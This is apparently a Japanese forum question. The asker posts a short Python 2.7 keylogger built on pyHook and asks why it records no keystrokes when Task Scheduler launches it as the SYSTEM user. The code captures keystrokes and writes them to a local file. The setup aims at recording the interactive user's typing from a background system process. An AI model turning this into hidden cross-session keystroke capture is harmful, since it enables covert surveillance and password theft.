Windows 7、Python 2.7 を使用して、以下のコードを作成してコンパイルしました (pyinstaller2-0 を使用)。右クリックして起動し、[管理者として実行] を選択すると正常に動作しますが、システム ユーザーとしてタスク スケジューラから起動すると、キーはログに記録されません (10 秒間待機した後、空の出力ファイルが作成されるだけです)。別のアカウントで実行しているため、「正しいキーボード」をフックしていないのではないかと考えています。
import threading
import pyHook
import pythoncom
import time
def OnKeyboardEvent(event):
global keylog
keylog.append(chr(event.Ascii))
return
class thekeylogger ( threading.Thread ):
def run ( self ):
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
return
keylog = []
thekeylogger().start()
time.sleep(10)
keys = "".join(keylog)
output_file = open('c:\\project\\test.txt', 'w')
output_file.write(keys)
output_file.close()